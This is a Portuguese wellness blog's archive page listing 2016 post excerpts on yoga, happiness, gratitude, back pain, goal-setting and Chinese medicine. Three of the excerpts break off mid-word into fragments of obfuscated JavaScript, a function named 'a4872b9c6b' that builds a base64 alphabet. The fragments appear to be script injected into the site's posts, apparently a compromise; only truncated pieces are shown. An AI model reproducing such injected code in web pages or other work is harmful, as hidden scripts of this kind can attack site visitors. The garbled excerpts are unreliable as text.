Abr 5, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
Yoga em qualquer idade – Conheça os seus benefícios O yoga é para todas as idades e nunca é tarde para começar Está comprovado que os seniores e as pessoas com mobilidade reduzida têm enormes benefícios físicos ao praticarem yoga, pois em todas as fases da vida...
Abr 1, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
Quer ser mais feliz? Tenha pensamentos saudáveis e abra os seus horizontes __ O modo como estruturamos o pensamento resulta de uma aprendizagem que fazemos ao longo da vida, influenciada por diversos factores (educação, identificação de padrões parentais, experiências...
Mar 30, 2016 | Equilíbrio, Saúde e bem estar
Costuma dizer-se que nada é por acaso e que na vida não há coincidências. Você vai adorar descobrir esta curiosidade super interessante. Repare como há alimentos que são muito parecidos com alguns dos nossos órgãos. E não é que esses mesmos alimentos fazem bem aos...
Mar 15, 2016 | Equilíbrio, Saúde e bem estar
Onde começa o amor por nós e acaba o amor pelos outros? Ou melhor dizendo: onde acaba o amor por nós e começa o amor pelos outros? Qual das duas perguntas nos ajudará mais? Será que existe uma fronteira entre um amor que começa e um outro que acaba para dar lugar ao...
Mar 14, 2016 | Em Alta, Equilíbrio, header, Saúde e bem estar
Bem-estar emocional A gratidão é essencial ao bem-estar emocional e agradecer diariamente à vida por todas as coisas, inclusive as mais simples e as mais difíceis, constitui uma das chaves para alcançar momentos de felicidade. ___ As dificuldades da vida podem ser...
Mar 13, 2016 | Equilíbrio, Novo, Saúde e bem estar
Para muitos o inverno é uma época de boas-vindas, mas, para as pessoas com reumatismos ou dores musculoesqueléticas, esta fase resfriada e húmida do ano traz presentes natalícios antecipados. As famigeradas dores nas costas. Prevenção Todos os dias, as nossas costas...
Mar 9, 2016 | Equilíbrio, Saúde e bem estar
Obtenha o que tanto deseja. Estabelecer objetivos transmite-nos confiança e bem-estar. Imagine-se num cais de embarque onde estão dois navios de cruzeiro, à sua escolha, para desfrutar da maior viagem de sempre: a sua vida! ___ No primeiro, partirá sem rumo, apenas...
Fev 16, 2016 | Equilíbrio, Saúde e bem estar
7 Hábitos das pessoas felizes Qual é o segredo para ser feliz? Uma carreira de sucesso? Uma paixão eloquente? Uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Fev 16, 2016 | Equilíbrio, Saúde e bem estar
Como ultrapassar o inverno com a ajuda da medicina chinesa? A medicina chinesa, como terapia essencialmente preventiva, aconselha que primeiramente, através da escolha certa de alimentos, se procure prevenir, de forma natural e isenta de químicos, uma grfunction...
Fev 3, 2016 | Equilíbrio, Saúde e bem estar
Uma dieta equilibrada para alguém que function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
